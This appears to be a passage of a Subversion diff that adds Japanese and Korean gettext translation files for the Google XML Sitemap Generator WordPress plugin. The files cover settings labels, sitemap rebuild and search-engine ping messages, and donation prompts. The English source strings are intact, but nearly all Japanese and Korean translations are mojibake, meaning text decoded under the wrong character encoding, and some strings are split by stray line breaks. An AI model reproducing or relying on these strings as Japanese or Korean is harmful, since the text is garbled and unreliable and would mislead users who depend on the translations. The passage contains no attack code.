+"PO-Revision-Date: 2005-07-03 23:17+0900\n"
+"Last-Translator: hiromasa <webmaster@hiromasa.zone.ne.jp>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+#: sitemap.php:375
+msgid "always"
+msgstr "ãã€ã"
+
+msgid "hourly"
+msgstr "æ¯æ"
+
+msgid "daily"
+msgstr "æ¯æ¥"
+
+msgid "weekly"
+msgstr "æ¯é±"
+
+msgid "monthly"
+msgstr "æ¯æ"
+
+msgid "yearly"
+msgstr "æ¯å¹Ž"
+
+msgid "never"
+msgstr "æŽæ°ãããªã"
+
+msgid "Detected Path"
+msgstr "ãã¹ã®çŽæ¥èš­å®"
+
+msgid "Example"
+msgstr "äŸ"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ãã¡ã€ã«åãå«ã Sitemap ãã¡ã€ã«ãžã®çžå¯Ÿãããã¯çµ¶å¯Ÿãã¹"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ãã¡ã€ã«åãå«ã Sitemap ãã¡ã€ã«ãžã®å®å
+šãª URL"
+
+msgid "Automatic location"
+msgstr "èªåé
+çœ®"
+
+msgid "Manual location"
+msgstr "æåé
+çœ®"
+
+msgid "OR"
+msgstr "ãããã¯"
+
+msgid "Location of your sitemap file"
+msgstr "Sitemap ãã¡ã€ã«ã®å Žæ"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "ããããªãã®ãã­ã°ããµããã£ã¬ã¯ããªã«é
+çœ®ãããŠããå Žåã«ããã­ã°ãã£ã¬ã¯ããªä»¥å€ã®ããŒãžã Sitemap ã«å«ããããšãã¯ãSitemap ãã¡ã€ã«ãã«ãŒããã£ã¬ã¯ããªã«é
+çœ®ãã¹ãã§ããïŒãã®ããŒãžã® &quot;Sitemap ãã¡ã€ã«ã®å Žæ&quot; èš­å®ãç¢ºèªããŠäžããïŒ"
+
+#: sitemap.php:512
+msgid "Configuration updated"
+msgstr "èš­å®ãæŽæ°ããŸããã"
+
+#: sitemap.php:513
+msgid "Error"
+msgstr "ãšã©ãŒã§ãã"
+
+#: sitemap.php:521
+msgid "A new page was added. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "æ°ããè¿œå ããŒãžïŒã®èš­å®æ¬ïŒãå ãããŸããã ïŒããŒãžã®æ
+å ±ãå
+¥ååŸïŒ&quot;å€æŽã®ä¿å­&quot ãæŒäžããŠèš­å®ãä¿å­ããŠäžããã"
+
+#: sitemap.php:527
+msgid "Pages saved"
+msgstr "è¿œå ããŒãžã®èš­å®ãä¿å­ããŸããã"
+
+#: sitemap.php:528
+msgid "Error while saving pages"
+msgstr "è¿œå ããŒãžã®èš­å®ã®ä¿å­äž­ã«ãšã©ãŒãçºçããŸããã"
+
+#: sitemap.php:539
+msgid "The page was deleted. Click on &quot;Save page changes&quot; to save your changes."
+msgstr "æå®ãããè¿œå ããŒãžïŒã®èš­å®æ¬ïŒãåé€ããŸããã &quot;å€æŽã®ä¿å­&quot ãæŒäžããŠèš­å®ãä¿å­ããŠäžããã"
+
+#: sitemap.php:542
+msgid "You changes have been cleared."
+msgstr "å€æŽã¯æ¢ã«åé€ãããŠããŸãã"
+
+#: sitemap.php:555
+msgid "Sitemap Generator"
+msgstr "Sitemap Generator"
+
+#: sitemap.php:558
+msgid "Manual rebuild"
+msgstr "æåã«ãã Sitemap ãã¡ã€ã«ã®åæ§ç¯"
+
+#: sitemap.php:559
+msgid "If you want to build the sitemap without editing a post, click on here!"
+msgstr "ããæçš¿ã®ç·šéãªãã« Sitemap ãã¡ã€ã«ãåæ§ç¯ãããå Žåã¯ãã®ãã¿ã³ãæŒäžããŠãã ãã!"
+
+#: sitemap.php:560
+msgid "Rebuild Sitemap"
+msgstr "Sitemap ã®åæ§ç¯"
+
+#: sitemap.php:564
+msgid "Additional pages"
+msgstr "è¿œå ããŒãžã®èš­å®"
+
+#: sitemap.php:566
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "ããã§ãSitemap ã«å«ãŸããã¹ãã§ãã URL ãæå®ããããšãã§ããŸãã ããããããã§æå®ãã URL ã¯ WordPress/Blog ã«å±ããŠã¯ãããŸããã<br />äŸãã°ãã¡ã€ã³ã www.foo.com ã§ãã­ã°ã www.foo.com/blog ã ã£ãå Žåãããªãã¯ www.foo.com ã Sitemap ã«å«ã¿ãããšæããããããŸãããïŒèš³æ³š: ãã®é 
+ç®ã§ WordPress ä»¥å€ã® URL ãæå®ãããã©ã°ã€ã³ã§åºåãã Sitemap ã«å«ããããšãã§ããŸãïŒ"
+
+#: sitemap.php:568
+msgid "URL to the page"
+msgstr "ãã®ããŒãžã®URL"
+
+#: sitemap.php:569
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "ãã®ããŒãžã®URL ãå
+¥åããŠäžããã äŸ: http://www.foo.com/index.html ã www.foo.com/home "
+
+#: sitemap.php:571
+msgid "Priority"
+msgstr "åªå
+é äœ(priority)ã®èš­å®"
+
+#: sitemap.php:572
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ä»ã®ããŒãžã«æ¯äŸããããŒãžã®åªå
+é äœ(priority)ãéžãã§ãã ããã äŸãã°ãããªãã®ããŒã ããŒãžã¯ãéèšã®ããŒãžããé«ãåªå
+åºŠããããããããŸããã"
+
+#: sitemap.php:574
+msgid "Last Changed"
+msgstr "æçµæŽæ°æ¥"
+
+#: sitemap.php:575
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "æçµæŽæ°æ¥ã YYYY-MM-DD åœ¢åŒã§å
+¥åããŠäžããã"
+
+#: sitemap.php:583
+msgid "Change Frequency"
+msgstr "æŽæ°é »åºŠ(changefreq)ã®èš­å®"
+
+#: sitemap.php:585
+msgid "#"
+msgstr "#"
+
+#: sitemap.php:609
+msgid "No pages defined."
+msgstr "è¿œå ããŒãžã¯å®çŸ©ãããŠããŸããã"
+
+#: sitemap.php:616
+msgid "Add new page"
+msgstr "æ°ããããŒãžã®è¿œå "
+
+#: sitemap.php:617
+msgid "Save page changes"
+msgstr "å€æŽã®ä¿å­"
+
+#: sitemap.php:618
+msgid "Undo all page changes"
+msgstr "ããŒãžã®å€æŽãå
+ã«æ»ã"
+
+#: sitemap.php:621
+msgid "Delete marked page"
+msgstr "ããŒã¯ãããããŒãžã®åé€"
+
+#: sitemap.php:627
+msgid "Basic Options"
+msgstr "åºæ¬çãªèš­å®"
+
+#: sitemap.php:632
+msgid "Enable automatic priority calculation for posts based on comment count"
+msgstr "æçš¿ã«å¯Ÿããã³ã¡ã³ãæ°ã§ãæçš¿ïŒåãšã³ããªïŒã®åªå
+é äœ(priority)ãèªåèšç®ããæ©èœãæå¹ã«ãã"
+
+#: sitemap.php:638
+msgid "Write debug comments"
+msgstr "ãããã°çšã³ã¡ã³ãåºåãè¡ã"
+
+#: sitemap.php:643
+msgid "Filename of the sitemap file"
+msgstr "Sitemap ã®ãã¡ã€ã«å"
+
+#: sitemap.php:650
+msgid "Write a normal XML file (your filename)"
+msgstr "æšæºã® XML ãã¡ã€ã«ãåºåãã (filename)"
+
+#: sitemap.php:652
+msgid "Detected URL"
+msgstr "Detected URL"
+
+#: sitemap.php:657
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "gz å§çž®ããããã¡ã€ã«ãåºåãã (filename + .gz)"
+
+#: sitemap.php:664
+msgid "Auto-Ping Google Sitemaps"
+msgstr "Google Sitemap ã«æŽæ° ping ãéã"
+
+#: sitemap.php:665
+msgid "This option will automatically tell Google about changes."
+msgstr "ãã®ãªãã·ã§ã³ã¯ãå€æŽã Google ã«èªåçã«éç¥ããŸãã"
+
+#: sitemap.php:672
+msgid "Includings"
+msgstr "Sitemap ã«å«ãã é 
+ç®ã®èš­å®"
+
+#: sitemap.php:677
+msgid "Include homepage"
+msgstr "ããŒã ããŒãž"
+
+#: sitemap.php:683
+msgid "Include posts"
+msgstr "æçš¿ïŒåãšã³ããªïŒ"
+
+#: sitemap.php:689
+msgid "Include static pages"
+msgstr "éçãªããŒãž"
+
+#: sitemap.php:695
+msgid "Include categories"
+msgstr "ã«ããŽãªå¥"
+
+#: sitemap.php:701
+msgid "Include archives"
+msgstr "ã¢ãŒã«ã€ãå¥"
+
+#: sitemap.php:708
+msgid "Change frequencies"
+msgstr "æŽæ°é »åºŠ(changefreq)ã®èš­å®"
+
+#: sitemap.php:709
+msgid "Note"
+msgstr "ã¡ã¢"
+
+#: sitemap.php:710
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ãã®ã¿ã°ã®å€ã¯åœä»€ã§ã¯ãªããã³ãã ãšèããããŸãããµãŒããšã³ãžã³ã®ã¯ã­ãŒã©ã¯ãã®èš­å®ãèæ
+®ã«å
+¥ããŸããã\"1æéãã\" ã®èš­å®ã«ããŠããã®é »åºŠã§ã¯ã­ãŒã«ããªããããããªããã\"å¹ŽäžåºŠã®\" èš­å®ã«ããŠãããããé »ç¹ã«ã¯ã­ãŒã«ããããããããŸããããŸã \"æŽæ°ãããªã\" ã«èš­å®ãããããŒãžããæããããªãå€åããããã®ããŒãžããåŸãããã«ãããããã¯ã­ãŒã©ã¯å®æçã«ã¯ã­ãŒã«ããã§ãããã"
+
+#: sitemap.php:715
+msgid "Homepage"
+msgstr "ããŒã ããŒãž"
+
+#: sitemap.php:721
+msgid "Posts"
+msgstr "æçš¿ïŒåãšã³ããªïŒ"
+
+#: sitemap.php:727
+msgid "Static pages"
+msgstr "éçãªããŒãž"
+
+#: sitemap.php:733
+msgid "Categories"
+msgstr "ã«ããŽãªå¥"
+
+#: sitemap.php:739
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "åœæã®ã¢ãŒã«ã€ã (\"ããŒã ããŒãž\" ã®èš­å®ãšåãã«ãã¹ãã§ã)"
+
+#: sitemap.php:745
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "å€ãã¢ãŒã«ã€ã (å€ãæçš¿ãç·šéãããšãã ãå€æŽããŠãã ãã)"
+
+#: sitemap.php:752
+msgid "Priorities"
+msgstr "åªå
+é äœ(priority)ã®èš­å®"
+
+#: sitemap.php:763
+msgid "Posts (If auto calculation is disabled)"
+msgstr "æçš¿ïŒåãšã³ããªïŒ (\"åºæ¬çãªèš­å®\"ã§èªåèšç®ã«èš­å®ããŠããªãå Žåã«æå¹)"
+
+#: sitemap.php:769
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "æçš¿ïŒåãšã³ããªïŒã®æå°å€ (\"åºæ¬çãªèš­å®\"ã§èªåèšç®ã«èš­å®ããŠããå Žåã«æå¹)"
+
+#: sitemap.php:787
+msgid "Archives"
+msgstr "ã¢ãŒã«ã€ãå¥"
+
+#: sitemap.php:793
+msgid "Informations and support"
+msgstr "æ
+å ±ãšãµããŒã"
+
+#: sitemap.php:794
+msgid "Check %s for updates and comment there if you have any problems / questions / suggestions."
+msgstr "ãããåé¡ãçåãææ¡ãããã° %s ã®ã¢ããããŒãæ
+å ±ãã³ã¡ã³ããç¢ºèªããŠäžããã"
+
+#: sitemap.php:797
+msgid "Update options"
+msgstr "èš­å®ãæŽæ° &raquo;"
+
+#: sitemap.php:1033
+msgid "URL:"
+msgstr "URL:"
+
+#: sitemap.php:1034
+msgid "Path:"
+msgstr "Path:"
+
+#: sitemap.php:1037
+msgid "Could not write into %s"
+msgstr "%s ã«æžãèŸŒãããšãã§ããŸããã"
+
+#: sitemap.php:1048
+msgid "Successfully built sitemap file:"
+msgstr "æ§ç¯ã«æåãã Sitemap ãã¡ã€ã«:"
+
+#: sitemap.php:1048
+msgid "Successfully built gzipped sitemap file:"
+msgstr "æ§ç¯ã«æåãã gz å§çž®ããã Sitemap ãã¡ã€ã«:"
+
+#: sitemap.php:1062
+msgid "Could not ping to Google at %s"
+msgstr "Google ãžã®æŽæ° ping ã®éä¿¡ãã§ããŸããã§ããã %s"
+
+#: sitemap.php:1064
+msgid "Successfully pinged Google at %s"
+msgstr "Google ãžã®æŽæ° ping ã®éä¿¡ãæåããŸããã %s"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ko_KR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ko_KR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-ko_KR.po	(revision 44)
@@ -0,0 +1,734 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-04-15 13:17+0900\n"
+"Last-Translator: ê¹ì¹ìœ <unfusion>\n"
+"Language-Team: Wordpress Korea <unfusion95@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Korean\n"
+"X-Poedit-Country: KOREA, REPUBLIC OF\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+msgid "Comment Count"
+msgstr "ìœë©íž ê°¯ì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "í¬ì€ížì ìœë©íž ê°¯ìë¥Œ ìŽì©íŽ ì°ì ììë¥Œ ê³ì°í©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "ìœë©íž íê· "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "ìœë©ížì íê·  ê°¯ìë¥Œ ìŽì©íŽ ì°ì ììë¥Œ ê³ì°í©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "íì±í ë<a href=\"%2\">Alex King</a>ì <a href=\"%1\">Popularity Contest Plugin</a>ì ìŽì©í©ëë€. <a href=\"%3\">ì€ì </a> ê³Œ <a href=\"%4\">Most Popular Posts</a>ë¥Œ íìžíì­ìì€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap Generator"
+msgstr "XML-ì¬ìŽíž ë§µ ìì±êž°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-ì¬ìŽíž ë§µ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "êž°ë¶ì ì ë§ ê°ì¬ëëŠœëë€. ì ê° ìŽ íë¬ê·žìžìŽë ë€ë¥ž ë¬Žë£ íë¡ê·žëšì ê³ì ìì±íê³  ì§ìí  ì ìëë¡ ëìì£Œì­ìì€!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "ìŽ ì£Œìì¬í­ ìšêž°êž°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "ìŽ íë¬ê·žìžì ì¬ì©íŽ ì£Œì
+ì ê°ì¬í©ëë€! ë¹ì ìŽ ìŽ íë¬ê·žìžì ì¬ì©í ì§ íë¬ìŽ ëììµëë€. ë§ìœ ìŽ íë¬ê·žìžì ìëê³Œ ê²°ê³Œê° ë§ì¡±ì€ë¬ì ê³  1ë¬ë¬ ìŽìì ê°ì¹ê° ìë€ê³  ìê°íì­ëê¹? <a href=\"%s\">êž°ë¶ë¡</a> ì ê° ìŽ <i>ë¬Žë£</i> ìíížìšìŽì ê°ë°ê³Œ ì§ìì ê³ìíëë¡ ëìì ì£Œì­ìì€! <a href=\"%s\">ë€, ë¬žì ììµëë€!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+msgid "No thanks, please don't bug me anymore!"
+msgstr "ì¬ìí©ëë€, ë ìŽì ê·ì°®ê² íì§ ë§ìì£Œì­ìì€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+msgid "XML Sitemap Generator for WordPress"
+msgstr "ìëíë ì€ ì© XML ì¬ìŽíž ë§µ ìì±êž°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+msgid "Configuration updated"
+msgstr "ì€ì ìŽ ì
+ë°ìŽíž ëììµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+msgid "Error while saving options"
+msgstr "ìµì
+ì ì ì¥íë ì€ì ìë¬ê° ë°ìíìµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+msgid "Pages saved"
+msgstr "íìŽì§ê° ì ì¥ëììµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+msgid "Error while saving pages"
+msgstr "íìŽì§ë¥Œ ì ì¥íë ì€ì ìë¬ê° ë°ìíìµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "<a href=\"%s\">Robots.txt</a> íìŒìŽ ì ì¥ëììµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2750
+msgid "Error while saving Robots.txt file"
+msgstr "Robots.txt íìŒì ì ì¥íë ì€ì ìë¬ê° ë°ìíìµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "êž°ë³ž ì€ì ìŽ ë³µìëììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "ìŽêž°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "ë«êž°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "ìŽ ììë¥Œ ìì§ìŽë €ë©Ž íŽëŠ­íê³  ëëê·ž íì­ìì€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "íŽëŠ­íë©Ž ìŽ ììë¥Œ %toggle%"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "ë°©í¥í€ë¥Œ ì¬ì©íŽì ìŽ ììë¥Œ ìŽë"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr ", ëë ìí°í€ë¥Œ ëë¬ %toggle%"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "ìŽ íë¬ê·žìž ëíŽ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+msgid "Plugin Homepage"
+msgstr "íë¬ê·žìž ííìŽì§"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "ë©ìŒ íµì§ ëŠ¬ì€íž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "ìí¬íž í¬ëŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "PayPal êž°ë¶"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "ëŽ Amazon ìì ëŠ¬ì€íž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "ë²ì­ì ê¹ì¹ìœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "http://unfusion.kunsan.ac.kr/word"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+msgid "Sitemap Resources:"
+msgstr "ì¬ìŽížë§µ Resources:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "ì¹ë§ì€í° ëêµ¬"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "ì¹ë§ì€í° ëžë¡ê·ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "ì¬ìŽíž ìµì€íë¡ë¬"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "ëžë¡ê·ž ê²ì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Center Blog"
+msgstr "ì¹ë§ì€í° ìŒí° ëžë¡ê·ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+msgid "Sitemaps Protocol"
+msgstr "ì¬ìŽíž ë§µ íë¡í ìœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "ì¬ìŽíž ë§µ FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "ì¬ìŽíž ë§µ ìì±êž° FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "ìµê·Œ êž°ë¶:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "êž°ë¶ì ëª©ë¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "ëª©ë¡ ìšêž°êž°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "ë¹ì ì ì§ìì ê°ì¬ëëŠœëë€!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "ìí"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "ì¬ìŽíž ë§µìŽ ìì§ ë§ë€ìŽì§ì§ ìììµëë€. <a href=\"%s\">ì¬êž°ë¥Œ íŽëŠ­</a>íë©Ž ì²ììŒë¡ ì¬ìŽíž ë§µì ìì±í©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "ë¹ì ì <a href=\"%url%\">ì¬ìŽíž ë§µ</a> ì <b>%date%</b>ì ë§ì§ë§ìŒë¡ ìì±ëììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ì¬ìŽíž ë§µ íìŒì ìì±íë ë° ë¬žì ê° ììµëë€. íìŒ ìì±ê³Œ ì°êž°ê° ê°ë¥íëë¡ íŽ ì£Œì­ìì€. <a href=\"%url%\">ì ë³Ž ë ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ë¹ì ì ì¬ìŽíž ë§µ(<a href=\"%url%\">ìì¶ëš</a>)ì <b>%date%</b>ì ë§ì§ë§ìŒë¡ ìì±ëììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ìì¶ë ì¬ìŽíž ë§µ íìŒì ìì±íë ë° ë¬žì ê° ììµëë€. íìŒ ìì±ê³Œ ì°êž°ê° ê°ë¥íëë¡ íŽ ì£Œì­ìì€. <a href=\"%url%\">ì ë³Ž ë ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Googleì ë³ê²œì¬í­ì <b>ì±ê³µì ìŒë¡</b> íµë³Žíììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Googleì íµë³Žíëë° %time% ìŽê° ê±žë žìµëë€. ë§ìœ ìŽ êž°ë¥ì ì¬ì©íì§ ììŒë©Ž ì¬ìŽíž ë§µ ìì±ìê°ì ì€ìŒ ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Googleì íµë³Žíë ëì ë¬žì ê° ë°ìíìµëë€. <a href=\"%s\">ê²°ê³Œ ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOOì ë³ê²œì¬í­ì <b>ì±ê³µì ìŒë¡</b> íµë³Žíììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "YAHOOì íµë³Žíëë° %time% ìŽê° ê±žë žìµëë€. ë§ìœ ìŽ êž°ë¥ì ì¬ì©íì§ ììŒë©Ž ì¬ìŽíž ë§µ ìì±ìê°ì ì€ìŒ ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "YAHOOì íµë³Žíë ëì ë¬žì ê° ë°ìíìµëë€. <a href=\"%s\">ê²°ê³Œ ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "MSN was <b>successfully notified</b> about changes."
+msgstr "MSNì ë³ê²œì¬í­ì <b>ì±ê³µì ìŒë¡</b> íµë³Žíììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify MSN.com, maybe you want to disable this feature to reduce the building time."
